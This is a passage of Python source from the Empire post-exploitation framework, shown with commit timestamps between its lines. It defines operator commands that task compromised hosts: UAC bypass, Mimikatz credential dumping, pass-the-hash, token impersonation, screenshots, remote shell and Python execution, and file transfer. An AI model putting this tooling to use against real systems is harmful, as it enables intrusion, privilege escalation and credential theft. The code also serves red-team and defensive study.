screenshot_ratio = " 80 "
2016-03-31 21:27:15 +00:00
else :
2016-09-23 18:04:35 +00:00
screenshot_ratio = ' '
2016-07-21 01:28:27 +00:00
2016-09-23 18:04:35 +00:00
if self . mainMenu . modules . modules [ ' powershell/collection/screenshot ' ] :
module = self . mainMenu . modules . modules [ ' powershell/collection/screenshot ' ]
module . options [ ' Agent ' ] [ ' Value ' ] = self . mainMenu . agents . get_agent_name_db ( self . sessionID )
2016-07-21 01:28:27 +00:00
module . options [ ' Ratio ' ] [ ' Value ' ] = screenshot_ratio
2016-03-31 21:27:15 +00:00
# execute the screenshot module
2016-09-23 18:04:35 +00:00
module_menu = ModuleMenu ( self . mainMenu , ' powershell/collection/screenshot ' )
2016-07-21 01:28:27 +00:00
module_menu . do_execute ( " " )
2016-03-31 21:27:15 +00:00
else :
2016-09-23 18:04:35 +00:00
print helpers . color ( " [!] powershell/collection/screenshot module not loaded " )
2016-07-21 01:28:27 +00:00
2015-08-05 18:36:39 +00:00
def do_spawn ( self , line ) :
" Spawns a new Empire agent for the given listener name. Ex. spawn <listener> "
2016-07-21 01:28:27 +00:00
2015-08-05 18:36:39 +00:00
# get the info for the spawn module
if line :
2016-09-23 18:04:35 +00:00
listenerID = line . split ( ' ' ) [ 0 ] . strip ( )
2015-08-05 18:36:39 +00:00
2016-09-23 18:04:35 +00:00
if listenerID != ' ' and self . mainMenu . listeners . is_listener_valid ( listenerID ) :
2015-08-05 18:36:39 +00:00
2016-07-21 01:28:27 +00:00
# ensure the inject module is loaded
2016-09-23 18:04:35 +00:00
if self . mainMenu . modules . modules [ ' powershell/management/spawn ' ] :
module = self . mainMenu . modules . modules [ ' powershell/management/spawn ' ]
2015-08-05 18:36:39 +00:00
module . options [ ' Listener ' ] [ ' Value ' ] = listenerID
2016-09-23 18:04:35 +00:00
module . options [ ' Agent ' ] [ ' Value ' ] = self . mainMenu . agents . get_agent_name_db ( self . sessionID )
2015-08-05 18:36:39 +00:00
# jump to the spawn module
2016-09-23 18:04:35 +00:00
module_menu = ModuleMenu ( self . mainMenu , " powershell/management/spawn " )
2016-07-21 01:28:27 +00:00
module_menu . cmdloop ( )
2015-08-05 18:36:39 +00:00
else :
2016-07-21 01:28:27 +00:00
print helpers . color ( " [!] management/spawn module not loaded " )
2015-08-05 18:36:39 +00:00
else :
print helpers . color ( " [!] Please enter a valid listener name or ID. " )
else :
print helpers . color ( " [!] Please specify a listener name or ID. " )
def do_bypassuac ( self , line ) :
" Runs BypassUAC, spawning a new high-integrity agent for a listener. Ex. spawn <listener> "
2016-07-21 01:28:27 +00:00
2015-08-05 18:36:39 +00:00
# get the info for the bypassuac module
if line :
2016-09-23 18:04:35 +00:00
listenerID = line . split ( ' ' ) [ 0 ] . strip ( )
2015-08-05 18:36:39 +00:00
2016-09-23 18:04:35 +00:00
if listenerID != ' ' and self . mainMenu . listeners . is_listener_valid ( listenerID ) :
2015-08-05 18:36:39 +00:00
2016-07-21 01:28:27 +00:00
# ensure the inject module is loaded
2016-09-23 18:04:35 +00:00
if self . mainMenu . modules . modules [ ' powershell/privesc/bypassuac_eventvwr ' ] :
module = self . mainMenu . modules . modules [ ' powershell/privesc/bypassuac_eventvwr ' ]
2015-08-05 18:36:39 +00:00
module . options [ ' Listener ' ] [ ' Value ' ] = listenerID
2016-09-23 18:04:35 +00:00
module . options [ ' Agent ' ] [ ' Value ' ] = self . mainMenu . agents . get_agent_name_db ( self . sessionID )
2015-08-05 18:36:39 +00:00
# jump to the spawn module
2016-09-23 18:04:35 +00:00
module_menu = ModuleMenu ( self . mainMenu , ' powershell/privesc/bypassuac_eventvwr ' )
module_menu . do_execute ( ' ' )
2015-08-05 18:36:39 +00:00
else :
2016-09-23 18:04:35 +00:00
print helpers . color ( " [!] powershell/privesc/bypassuac_eventvwr module not loaded " )
2015-08-05 18:36:39 +00:00
else :
print helpers . color ( " [!] Please enter a valid listener name or ID. " )
else :
print helpers . color ( " [!] Please specify a listener name or ID. " )
def do_mimikatz ( self , line ) :
" Runs Invoke-Mimikatz on the client. "
2016-07-21 01:28:27 +00:00
# ensure the credentials/mimiktaz/logonpasswords module is loaded
2016-09-23 18:04:35 +00:00
if self . mainMenu . modules . modules [ ' powershell/credentials/mimikatz/logonpasswords ' ] :
module = self . mainMenu . modules . modules [ ' powershell/credentials/mimikatz/logonpasswords ' ]
2015-08-05 18:36:39 +00:00
2016-09-23 18:04:35 +00:00
module . options [ ' Agent ' ] [ ' Value ' ] = self . mainMenu . agents . get_agent_name_db ( self . sessionID )
2015-08-05 18:36:39 +00:00
# execute the Mimikatz module
2016-09-23 18:04:35 +00:00
module_menu = ModuleMenu ( self . mainMenu , ' powershell/credentials/mimikatz/logonpasswords ' )
module_menu . do_execute ( ' ' )
2015-08-05 18:36:39 +00:00
def do_pth ( self , line ) :
" Executes PTH for a CredID through Mimikatz. "
2016-07-21 01:28:27 +00:00
2015-08-05 18:36:39 +00:00
credID = line . strip ( )
2016-07-21 01:28:27 +00:00
2016-09-23 18:04:35 +00:00
if credID == ' ' :
2015-08-05 18:36:39 +00:00
print helpers . color ( " [!] Please specify a <CredID>. " )
return
2016-09-23 18:04:35 +00:00
if self . mainMenu . modules . modules [ ' powershell/credentials/mimikatz/pth ' ] :
2015-08-05 18:36:39 +00:00
# reload the module to reset the default values
2016-09-23 18:04:35 +00:00
module = self . mainMenu . modules . reload_module ( ' powershell/credentials/mimikatz/pth ' )
2015-08-05 18:36:39 +00:00
2016-09-23 18:04:35 +00:00
module = self . mainMenu . modules . modules [ ' powershell/credentials/mimikatz/pth ' ]
2015-08-05 18:36:39 +00:00
# set mimikt/pth to use the given CredID
module . options [ ' CredID ' ] [ ' Value ' ] = credID
# set the agent ID
2016-09-23 18:04:35 +00:00
module . options [ ' Agent ' ] [ ' Value ' ] = self . mainMenu . agents . get_agent_name_db ( self . sessionID )
2015-08-05 18:36:39 +00:00
# execute the mimikatz/pth module
2016-09-23 18:04:35 +00:00
module_menu = ModuleMenu ( self . mainMenu , ' powershell/credentials/mimikatz/pth ' )
module_menu . do_execute ( ' ' )
2015-08-05 18:36:39 +00:00
def do_steal_token ( self , line ) :
" Uses credentials/tokens to impersonate a token for a given process ID. "
2016-07-21 01:28:27 +00:00
2015-08-05 18:36:39 +00:00
processID = line . strip ( )
2016-07-21 01:28:27 +00:00
2016-09-23 18:04:35 +00:00
if processID == ' ' :
2015-08-05 18:36:39 +00:00
print helpers . color ( " [!] Please specify a process ID. " )
return
2016-09-23 18:04:35 +00:00
if self . mainMenu . modules . modules [ ' powershell/credentials/tokens ' ] :
2015-08-05 18:36:39 +00:00
# reload the module to reset the default values
2016-09-23 18:04:35 +00:00
module = self . mainMenu . modules . reload_module ( ' powershell/credentials/tokens ' )
2015-08-05 18:36:39 +00:00
2016-09-23 18:04:35 +00:00
module = self . mainMenu . modules . modules [ ' powershell/credentials/tokens ' ]
2015-08-05 18:36:39 +00:00
# set credentials/token to impersonate the given process ID token
2016-09-23 18:04:35 +00:00
module . options [ ' ImpersonateUser ' ] [ ' Value ' ] = ' True '
2015-08-05 18:36:39 +00:00
module . options [ ' ProcessID ' ] [ ' Value ' ] = processID
# set the agent ID
2016-09-23 18:04:35 +00:00
module . options [ ' Agent ' ] [ ' Value ' ] = self . mainMenu . agents . get_agent_name_db ( self . sessionID )
2015-08-05 18:36:39 +00:00
# execute the token module
2016-09-23 18:04:35 +00:00
module_menu = ModuleMenu ( self . mainMenu , ' powershell/credentials/tokens ' )
module_menu . do_execute ( ' ' )
2015-08-05 18:36:39 +00:00
2016-07-15 23:14:43 +00:00
# run a sysinfo to update
self . do_sysinfo ( line )
2015-08-05 18:36:39 +00:00
def do_revtoself ( self , line ) :
" Uses credentials/tokens to revert token privileges. "
2016-09-23 18:04:35 +00:00
if self . mainMenu . modules . modules [ ' powershell/credentials/tokens ' ] :
2015-08-05 18:36:39 +00:00
# reload the module to reset the default values
2016-09-23 18:04:35 +00:00
module = self . mainMenu . modules . reload_module ( ' powershell/credentials/tokens ' )
2015-08-05 18:36:39 +00:00
2016-09-23 18:04:35 +00:00
module = self . mainMenu . modules . modules [ ' powershell/credentials/tokens ' ]
2015-08-05 18:36:39 +00:00
# set credentials/token to revert to self
module . options [ ' RevToSelf ' ] [ ' Value ' ] = " True "
# set the agent ID
2016-09-23 18:04:35 +00:00
module . options [ ' Agent ' ] [ ' Value ' ] = self . mainMenu . agents . get_agent_name_db ( self . sessionID )
2015-08-05 18:36:39 +00:00
# execute the token module
2016-09-23 18:04:35 +00:00
module_menu = ModuleMenu ( self . mainMenu , " powershell/credentials/tokens " )
module_menu . do_execute ( ' ' )
2015-08-05 18:36:39 +00:00
2016-07-15 23:14:43 +00:00
# run a sysinfo to update
self . do_sysinfo ( line )
2015-08-05 18:36:39 +00:00
def do_creds ( self , line ) :
" Display/return credentials from the database. "
self . mainMenu . do_creds ( line )
def complete_psinject ( self , text , line , begidx , endidx ) :
" Tab-complete psinject option values. "
mline = line . partition ( ' ' ) [ 2 ]
offs = len ( mline ) - len ( text )
return [ s [ offs : ] for s in self . mainMenu . listeners . get_listener_names ( ) if s . startswith ( mline ) ]
def complete_injectshellcode ( self , text , line , begidx , endidx ) :
" Tab-complete injectshellcode option values. "
return self . complete_psinject ( text , line , begidx , endidx )
def complete_spawn ( self , text , line , begidx , endidx ) :
" Tab-complete spawn option values. "
return self . complete_psinject ( text , line , begidx , endidx )
def complete_bypassuac ( self , text , line , begidx , endidx ) :
" Tab-complete bypassuac option values. "
return self . complete_psinject ( text , line , begidx , endidx )
def complete_jobs ( self , text , line , begidx , endidx ) :
" Tab-complete jobs management options. "
mline = line . partition ( ' ' ) [ 2 ]
offs = len ( mline ) - len ( text )
return [ s [ offs : ] for s in [ " kill " ] if s . startswith ( mline ) ]
def complete_scriptimport ( self , text , line , begidx , endidx ) :
" Tab-complete a PowerShell script path "
2016-07-21 01:28:27 +00:00
return helpers . complete_path ( text , line )
2015-08-05 18:36:39 +00:00
def complete_scriptcmd ( self , text , line , begidx , endidx ) :
" Tab-complete a script cmd set. "
functions = self . mainMenu . agents . get_agent_functions ( self . sessionID )
mline = line . partition ( ' ' ) [ 2 ]
offs = len ( mline ) - len ( text )
return [ s [ offs : ] for s in functions if s . startswith ( mline ) ]
def complete_usemodule ( self , text , line , begidx , endidx ) :
" Tab-complete an Empire PowerShell module path "
2016-09-23 18:04:35 +00:00
return self . mainMenu . complete_usemodule ( text , line , begidx , endidx , language = ' powershell ' )
2015-08-05 18:36:39 +00:00
def complete_upload ( self , text , line , begidx , endidx ) :
" Tab-complete an upload file path "
2016-07-21 01:28:27 +00:00
return helpers . complete_path ( text , line )
2015-08-05 18:36:39 +00:00
def complete_updateprofile ( self , text , line , begidx , endidx ) :
" Tab-complete an updateprofile path "
2016-07-21 01:28:27 +00:00
return helpers . complete_path ( text , line )
2015-08-05 18:36:39 +00:00
def complete_creds ( self , text , line , begidx , endidx ) :
" Tab-complete ' creds ' commands. "
return self . mainMenu . complete_creds ( text , line , begidx , endidx )
2017-10-13 16:31:35 +00:00
class PythonAgentMenu ( SubMenu ) :
2016-09-23 18:04:35 +00:00
def __init__ ( self , mainMenu , sessionID ) :
2015-08-05 18:36:39 +00:00
2017-10-13 16:31:35 +00:00
SubMenu . __init__ ( self , mainMenu )
2016-07-21 01:28:27 +00:00
2016-09-23 18:04:35 +00:00
self . sessionID = sessionID
2015-08-05 18:36:39 +00:00
2016-09-23 18:04:35 +00:00
self . doc_header = ' Agent Commands '
2015-08-05 18:36:39 +00:00
2016-09-23 18:04:35 +00:00
# try to resolve the sessionID to a name
name = self . mainMenu . agents . get_agent_name_db ( sessionID )
# set the text prompt
self . prompt = ' (Empire: ' + helpers . color ( name , ' red ' ) + ' ) > '
# listen for messages from this specific agent
dispatcher . connect ( self . handle_agent_event , sender = dispatcher . Any )
# display any results from the database that were stored
# while we weren't interacting with the agent
results = self . mainMenu . agents . get_agent_results_db ( self . sessionID )
if results :
print " \n " + results . rstrip ( ' \r \n ' )
2015-08-05 18:36:39 +00:00
2016-09-23 18:04:35 +00:00
def handle_agent_event ( self , signal , sender ) :
"""
Handle agent event signals .
"""
if " [!] Agent " in signal and " exiting " in signal : pass
name = self . mainMenu . agents . get_agent_name_db ( self . sessionID )
if ( str ( self . sessionID ) + ' returned results ' in signal ) or ( str ( name ) + ' returned results ' in signal ) :
# display any results returned by this agent that are returned
# while we are interacting with it
results = self . mainMenu . agents . get_agent_results_db ( self . sessionID )
if results :
print " \n " + results
elif " [+] Part of file " in signal and " saved " in signal :
if ( str ( self . sessionID ) in signal ) or ( str ( name ) in signal ) :
print helpers . color ( signal )
def default ( self , line ) :
" Default handler "
print helpers . color ( " [!] Command not recognized, use ' help ' to see available commands " )
2015-08-05 18:36:39 +00:00
2016-09-23 18:04:35 +00:00
def do_help ( self , * args ) :
" Displays the help menu or syntax for particular commands. "
2017-10-13 16:31:35 +00:00
SubMenu . do_help ( self , * args )
2016-03-22 18:32:47 +00:00
2015-12-29 20:57:01 +00:00
2016-09-23 18:04:35 +00:00
def do_list ( self , line ) :
" Lists all active agents (or listeners). "
2015-12-29 20:57:01 +00:00
2016-09-23 18:04:35 +00:00
if line . lower ( ) . startswith ( " listeners " ) :
self . mainMenu . do_list ( " listeners " + str ( ' ' . join ( line . split ( ' ' ) [ 1 : ] ) ) )
elif line . lower ( ) . startswith ( " agents " ) :
self . mainMenu . do_list ( " agents " + str ( ' ' . join ( line . split ( ' ' ) [ 1 : ] ) ) )
else :
print helpers . color ( " [!] Please use ' list [agents/listeners] <modifier> ' . " )
2015-12-29 20:57:01 +00:00
2016-07-21 01:28:27 +00:00
2016-09-23 18:04:35 +00:00
def do_rename ( self , line ) :
" Rename the agent. "
2015-08-05 18:36:39 +00:00
2016-09-23 18:04:35 +00:00
parts = line . strip ( ) . split ( ' ' )
oldname = self . mainMenu . agents . get_agent_name_db ( self . sessionID )
2015-08-05 18:36:39 +00:00
2016-09-23 18:04:35 +00:00
# name sure we get a new name to rename this agent
if len ( parts ) == 1 and parts [ 0 ] . strip ( ) != ' ' :
# replace the old name with the new name
result = self . mainMenu . agents . rename_agent ( oldname , parts [ 0 ] )
if result :
self . prompt = " (Empire: " + helpers . color ( parts [ 0 ] , ' red ' ) + " ) > "
else :
print helpers . color ( " [!] Please enter a new name for the agent " )
2015-08-05 18:36:39 +00:00
def do_info ( self , line ) :
2016-09-23 18:04:35 +00:00
" Display information about this agent "
2015-08-05 18:36:39 +00:00
2016-09-23 18:04:35 +00:00
# get the agent name, if applicable
agent = self . mainMenu . agents . get_agent_db ( self . sessionID )
messages . display_agent ( agent )
2015-08-05 18:36:39 +00:00
2016-09-23 18:04:35 +00:00
def do_exit ( self , line ) :
" Task agent to exit. "
2015-08-05 18:36:39 +00:00
2016-09-23 18:04:35 +00:00
try :
choice = raw_input ( helpers . color ( " [>] Task agent to exit? [y/N] " , " red " ) )
2017-10-08 03:43:08 +00:00
if choice . lower ( ) == " y " :
2015-08-05 18:36:39 +00:00
2016-09-23 18:04:35 +00:00
self . mainMenu . agents . add_agent_task_db ( self . sessionID , ' TASK_EXIT ' )
# update the agent log
self . mainMenu . agents . save_agent_log ( self . sessionID , " Tasked agent to exit " )
return True
2015-08-05 18:36:39 +00:00
2016-09-23 18:04:35 +00:00
except KeyboardInterrupt as e :
print " "
2015-08-05 18:36:39 +00:00
2016-09-23 18:04:35 +00:00
def do_clear ( self , line ) :
" Clear out agent tasking. "
self . mainMenu . agents . clear_agent_tasks_db ( self . sessionID )
2015-08-05 18:36:39 +00:00
2016-09-23 18:04:35 +00:00
def do_cd ( self , line ) :
" Change an agent ' s active directory "
2015-08-05 18:36:39 +00:00
2016-09-23 18:04:35 +00:00
line = line . strip ( )
if line != " " :
# have to be careful with inline python and no threading
# this can cause the agent to crash so we will use try / cath
# task the agent with this shell command
if line == " .. " :
self . mainMenu . agents . add_agent_task_db ( self . sessionID , " TASK_CMD_WAIT " , ' import os; os.chdir(os.pardir); print " Directory stepped down: %s " ' % ( line ) )
2015-08-05 18:36:39 +00:00
else :
2016-09-23 18:04:35 +00:00
self . mainMenu . agents . add_agent_task_db ( self . sessionID , " TASK_CMD_WAIT " , ' import os; os.chdir( " %s " ); print " Directory changed to: %s " ' % ( line , line ) )
# update the agent log
msg = " Tasked agent to change active directory to: %s " % ( line )
self . mainMenu . agents . save_agent_log ( self . sessionID , msg )
2015-08-05 18:36:39 +00:00
2016-09-23 18:04:35 +00:00
def do_jobs ( self , line ) :
" Return jobs or kill a running job. "
2015-08-05 18:36:39 +00:00
2016-09-23 18:04:35 +00:00
parts = line . split ( ' ' )
2015-08-05 18:36:39 +00:00
2016-09-23 18:04:35 +00:00
if len ( parts ) == 1 :
if parts [ 0 ] == ' ' :
self . mainMenu . agents . add_agent_task_db ( self . sessionID , " TASK_GETJOBS " )
# update the agent log
self . mainMenu . agents . save_agent_log ( self . sessionID , " Tasked agent to get running jobs " )
else :
print helpers . color ( " [!] Please use form ' jobs kill JOB_ID ' " )
elif len ( parts ) == 2 :
jobID = parts [ 1 ] . strip ( )
self . mainMenu . agents . add_agent_task_db ( self . sessionID , " TASK_STOPJOB " , jobID )
# update the agent log
self . mainMenu . agents . save_agent_log ( self . sessionID , " Tasked agent to stop job " + str ( jobID ) )
2015-08-20 23:08:40 +00:00
2016-09-23 18:04:35 +00:00
def do_sleep ( self , line ) :
" Task an agent to ' sleep interval [jitter] ' "
2015-08-05 18:36:39 +00:00
2016-09-23 18:04:35 +00:00
parts = line . strip ( ) . split ( ' ' )
delay = parts [ 0 ]
2015-08-05 18:36:39 +00:00
2016-09-23 18:04:35 +00:00
# make sure we pass a int()
if len ( parts ) > = 1 :
try :
int ( delay )
except :
print helpers . color ( " [!] Please only enter integer for ' interval ' " )
return
if len ( parts ) > 1 :
try :
int ( parts [ 1 ] )
except :
print helpers . color ( " [!] Please only enter integer for ' [jitter] ' " )
return
if delay == " " :
# task the agent to display the delay/jitter
self . mainMenu . agents . add_agent_task_db ( self . sessionID , " TASK_CMD_WAIT " , " global delay; global jitter; print ' delay/jitter = ' + str(delay)+ ' / ' +str(jitter) " )
self . mainMenu . agents . save_agent_log ( self . sessionID , " Tasked agent to display delay/jitter " )
elif len ( parts ) > 0 and parts [ 0 ] != " " :
delay = parts [ 0 ]
jitter = 0.0
if len ( parts ) == 2 :
jitter = parts [ 1 ]
# update this agent's information in the database
self . mainMenu . agents . set_agent_field_db ( " delay " , delay , self . sessionID )
self . mainMenu . agents . set_agent_field_db ( " jitter " , jitter , self . sessionID )
self . mainMenu . agents . add_agent_task_db ( self . sessionID , " TASK_CMD_WAIT " , " global delay; global jitter; delay= %s ; jitter= %s ; print ' delay/jitter set to %s / %s ' " % ( delay , jitter , delay , jitter ) )
# update the agent log
msg = " Tasked agent to delay sleep/jitter " + str ( delay ) + " / " + str ( jitter )
self . mainMenu . agents . save_agent_log ( self . sessionID , msg )
def do_lostlimit ( self , line ) :
" Task an agent to display change the limit on lost agent detection "
parts = line . strip ( ) . split ( ' ' )
lostLimit = parts [ 0 ]
if lostLimit == " " :
# task the agent to display the lostLimit
self . mainMenu . agents . add_agent_task_db ( self . sessionID , " TASK_CMD_WAIT " , " global lostLimit; print ' lostLimit = ' + str(lostLimit) " )
self . mainMenu . agents . save_agent_log ( self . sessionID , " Tasked agent to display lost limit " )
else :
# update this agent's information in the database
self . mainMenu . agents . set_agent_field_db ( " lost_limit " , lostLimit , self . sessionID )
# task the agent with the new lostLimit
self . mainMenu . agents . add_agent_task_db ( self . sessionID , " TASK_CMD_WAIT " , " global lostLimit; lostLimit= %s ; print ' lostLimit set to %s ' " % ( lostLimit , lostLimit ) )
# update the agent log
msg = " Tasked agent to change lost limit " + str ( lostLimit )
self . mainMenu . agents . save_agent_log ( self . sessionID , msg )
def do_killdate ( self , line ) :
" Get or set an agent ' s killdate (01/01/2016). "
parts = line . strip ( ) . split ( ' ' )
killDate = parts [ 0 ]
if killDate == " " :
# task the agent to display the killdate
self . mainMenu . agents . add_agent_task_db ( self . sessionID , " TASK_CMD_WAIT " , " global killDate; print ' killDate = ' + str(killDate) " )
self . mainMenu . agents . save_agent_log ( self . sessionID , " Tasked agent to display killDate " )
else :
# update this agent's information in the database
self . mainMenu . agents . set_agent_field_db ( " kill_date " , killDate , self . sessionID )
# task the agent with the new killDate
self . mainMenu . agents . add_agent_task_db ( self . sessionID , " TASK_CMD_WAIT " , " global killDate; killDate= ' %s ' ; print ' killDate set to %s ' " % ( killDate , killDate ) )
# update the agent log
msg = " Tasked agent to set killdate to %s " % ( killDate )
self . mainMenu . agents . save_agent_log ( self . sessionID , msg )
def do_workinghours ( self , line ) :
" Get or set an agent ' s working hours (9:00-17:00). "
parts = line . strip ( ) . split ( ' ' )
hours = parts [ 0 ]
if hours == " " :
self . mainMenu . agents . add_agent_task_db ( self . sessionID , " TASK_CMD_WAIT " , " global workingHours; print ' workingHours = ' + str(workingHours) " )
self . mainMenu . agents . save_agent_log ( self . sessionID , " Tasked agent to get working hours " )
else :
# update this agent's information in the database
self . mainMenu . agents . set_agent_field_db ( " working_hours " , hours , self . sessionID )
# task the agent with the new working hours
self . mainMenu . agents . add_agent_task_db ( self . sessionID , " TASK_CMD_WAIT " , " global workingHours; workingHours= ' %s ' " % ( hours ) )
# update the agent log
msg = " Tasked agent to set working hours to: %s " % ( hours )
self . mainMenu . agents . save_agent_log ( self . sessionID , msg )
def do_shell ( self , line ) :
" Task an agent to use a shell command. "
line = line . strip ( )
if line != " " :
# task the agent with this shell command
self . mainMenu . agents . add_agent_task_db ( self . sessionID , " TASK_SHELL " , str ( line ) )
# update the agent log
msg = " Tasked agent to run shell command: %s " % ( line )
self . mainMenu . agents . save_agent_log ( self . sessionID , msg )
def do_python ( self , line ) :
" Task an agent to run a Python command. "
line = line . strip ( )
if line != " " :
# task the agent with this shell command
self . mainMenu . agents . add_agent_task_db ( self . sessionID , " TASK_CMD_WAIT " , str ( line ) )
# update the agent log
msg = " Tasked agent to run Python command %s " % ( line )
self . mainMenu . agents . save_agent_log ( self . sessionID , msg )
2017-01-16 16:31:34 +00:00
def do_pythonscript ( self , line ) :
" Load and execute a python script "
path = line . strip ( )
if os . path . splitext ( path ) [ - 1 ] == ' .py ' and os . path . isfile ( path ) :
filename = os . path . basename ( path ) . rstrip ( ' .py ' )
open_file = open ( path , ' r ' )
script = open_file . read ( )
open_file . close ( )
script = script . replace ( ' \r \n ' , ' \n ' )
script = script . replace ( ' \r ' , ' \n ' )
msg = " [*] Tasked agent to execute python script: " + filename
print helpers . color ( msg , color = " green " )
self . mainMenu . agents . add_agent_task_db ( self . sessionID , " TASK_CMD_WAIT " , script )
#update the agent log
self . mainMenu . agents . save_agent_log ( self . sessionID , msg )
else :
print helpers . color ( " [!] Please provide a valid path " , color = " red " )
2016-09-23 18:04:35 +00:00
def do_sysinfo ( self , line ) :
" Task an agent to get system information. "
# task the agent with this shell command
self . mainMenu . agents . add_agent_task_db ( self . sessionID , " TASK_SYSINFO " )
# update the agent log
self . mainMenu . agents . save_agent_log ( self . sessionID , " Tasked agent to get system information " )
def do_download ( self , line ) :
" Task an agent to download a file. "
line = line . strip ( )
if line != " " :
self . mainMenu . agents . add_agent_task_db ( self . sessionID , " TASK_DOWNLOAD " , line )
# update the agent log
msg = " Tasked agent to download: %s " % ( line )
self . mainMenu . agents . save_agent_log ( self . sessionID , msg )
def do_upload ( self , line ) :
" Task an agent to upload a file. "
# "upload /path/file.ext" or "upload /path/file/file.ext newfile.ext"
# absolute paths accepted
parts = line . strip ( ) . split ( ' ' )
uploadname = " "
if len ( parts ) > 0 and parts [ 0 ] != " " :
if len ( parts ) == 1 :
# if we're uploading the file with its original name
uploadname = os . path . basename ( parts [ 0 ] )
else :
# if we're uploading the file as a different name
uploadname = parts [ 1 ] . strip ( )
if parts [ 0 ] != " " and os . path . exists ( parts [ 0 ] ) :
# TODO: reimplement Python file upload
# # read in the file and base64 encode it for transport
2017-02-17 17:25:05 +00:00
f = open ( parts [ 0 ] , ' r ' )
fileData = f . read ( )
f . close ( )
# Get file size
size = os . path . getsize ( parts [ 0 ] )
if size > 1048576 :
print helpers . color ( " [!] File size is too large. Upload limit is 1MB. " )
else :
print helpers . color ( " [*] Starting size of %s for upload: %s " % ( uploadname , helpers . get_file_size ( fileData ) ) , color = " green " )
msg = " Tasked agent to upload " + parts [ 0 ] + " : " + hashlib . md5 ( fileData ) . hexdigest ( )
# update the agent log with the filename and MD5
self . mainMenu . agents . save_agent_log ( self . sessionID , msg )
# compress data before we base64
c = compress . compress ( )
start_crc32 = c . crc32_data ( fileData )
comp_data = c . comp_data ( fileData , 9 )
fileData = c . build_header ( comp_data , start_crc32 )
# get final file size
print helpers . color ( " [*] Final tasked size of %s for upload: %s " % ( uploadname , helpers . get_file_size ( fileData ) ) , color = " green " )
fileData = helpers . encode_base64 ( fileData )
# upload packets -> "filename | script data"
data = uploadname + " | " + fileData
self . mainMenu . agents . add_agent_task_db ( self . sessionID , " TASK_UPLOAD " , data )
2016-09-23 18:04:35 +00:00
else :
print helpers . color ( " [!] Please enter a valid file path to upload " )
def do_usemodule ( self , line ) :
" Use an Empire Python module. "
2017-07-03 12:11:00 +00:00
# Strip asterisks added by MainMenu.complete_usemodule()
2017-07-03 11:56:47 +00:00
module = " python/ %s " % ( line . strip ( ) . rstrip ( " * " ) )
2016-09-23 18:04:35 +00:00
2017-10-16 15:55:48 +00:00
2016-09-23 18:04:35 +00:00
if module not in self . mainMenu . modules . modules :
print helpers . color ( " [!] Error: invalid module " )
else :
module_menu = ModuleMenu ( self . mainMenu , module , agent = self . sessionID )
module_menu . cmdloop ( )
def do_searchmodule ( self , line ) :
" Search Empire module names/descriptions. "
searchTerm = line . strip ( )
if searchTerm . strip ( ) == " " :
print helpers . color ( " [!] Please enter a search term. " )
else :
self . mainMenu . modules . search_modules ( searchTerm )
2017-01-08 03:15:20 +00:00
def do_sc ( self , line ) :
" Use pyobjc and Foundation libraries to take a screenshot, and save the image to the server "
if self . mainMenu . modules . modules [ ' python/collection/osx/native_screenshot ' ] :
module = self . mainMenu . modules . modules [ ' python/collection/osx/native_screenshot ' ]
module . options [ ' Agent ' ] [ ' Value ' ] = self . mainMenu . agents . get_agent_name_db ( self . sessionID )
#execute screenshot module
2017-01-16 16:31:34 +00:00
msg = " [*] Tasked agent to take a screenshot "
2017-01-08 03:15:20 +00:00
module_menu = ModuleMenu ( self . mainMenu , ' python/collection/osx/native_screenshot ' )
2017-01-16 16:31:34 +00:00
print helpers . color ( msg , color = " green " )
self . mainMenu . agents . save_agent_log ( self . sessionID , msg )
2017-01-08 03:15:20 +00:00
module_menu . do_execute ( " " )
else :
print helpers . color ( " [!] python/collection/osx/screenshot module not loaded " )
def do_ls ( self , line ) :
" List directory contents at the specified path "
#http://stackoverflow.com/questions/17809386/how-to-convert-a-stat-output-to-a-unix-permissions-string
if self . mainMenu . modules . modules [ ' python/management/osx/ls ' ] :
module = self . mainMenu . modules . modules [ ' python/management/osx/ls ' ]
if line . strip ( ) != ' ' :
module . options [ ' Path ' ] [ ' Value ' ] = line . strip ( )
module . options [ ' Agent ' ] [ ' Value ' ] = self . mainMenu . agents . get_agent_name_db ( self . sessionID )
module_menu = ModuleMenu ( self . mainMenu , ' python/management/osx/ls ' )
2017-01-16 16:31:34 +00:00
msg = " [*] Tasked agent to list directory contents of: " + str ( module . options [ ' Path ' ] [ ' Value ' ] )
print helpers . color ( msg , color = " green " )
self . mainMenu . agents . save_agent_log ( self . sessionID , msg )
2017-01-08 03:15:20 +00:00
module_menu . do_execute ( " " )
else :
print helpers . color ( " [!] python/management/osx/ls module not loaded " )
def do_whoami ( self , line ) :
" Print the currently logged in user "
command = " from AppKit import NSUserName; print str(NSUserName()) "
self . mainMenu . agents . add_agent_task_db ( self . sessionID , " TASK_CMD_WAIT " , command )
msg = " Tasked agent to print currently logged on user "
self . mainMenu . agents . save_agent_log ( self . sessionID , msg )
2016-09-23 18:04:35 +00:00
2017-01-16 16:31:34 +00:00
def do_loadpymodule ( self , line ) :
" Import zip file containing a .py module or package with an __init__.py "
path = line . strip ( )
#check the file ext and confirm that the path given is a file
if os . path . splitext ( path ) [ - 1 ] == ' .zip ' and os . path . isfile ( path ) :
#open a handle to the file and save the data to a variable, zlib compress
filename = os . path . basename ( path ) . rstrip ( ' .zip ' )
open_file = open ( path , ' rb ' )
module_data = open_file . read ( )
open_file . close ( )
msg = " Tasked agent to import " + path + " : " + hashlib . md5 ( module_data ) . hexdigest ( )
print helpers . color ( " [*] " + msg , color = " green " )
self . mainMenu . agents . save_agent_log ( self . sessionID , msg )
c = compress . compress ( )
start_crc32 = c . crc32_data ( module_data )
comp_data = c . comp_data ( module_data , 9 )
module_data = c . build_header ( comp_data , start_crc32 )
module_data = helpers . encode_base64 ( module_data )
data = filename + ' | ' + module_data
self . mainMenu . agents . add_agent_task_db ( self . sessionID , " TASK_IMPORT_MODULE " , data )
else :
print helpers . color ( " [!] Please provide a valid zipfile path " , color = " red " )
def do_viewrepo ( self , line ) :
" View the contents of a repo. if none is specified, all files will be returned "
repoName = line . strip ( )
msg = " [*] Tasked agent to view repo contents: " + repoName
print helpers . color ( msg , color = " green " )
self . mainMenu . agents . save_agent_log ( self . sessionID , msg )
self . mainMenu . agents . add_agent_task_db ( self . sessionID , " TASK_VIEW_MODULE " , repoName )
def do_removerepo ( self , line ) :
" Remove a repo "
repoName = line . strip ( )
msg = " [*] Tasked agent to remove repo: " + repoName
print helpers . color ( msg , color = " green " )
self . mainMenu . agents . save_agent_log ( self . sessionID , msg )
self . mainMenu . agents . add_agent_task_db ( self . sessionID , " TASK_REMOVE_MODULE " , repoName )
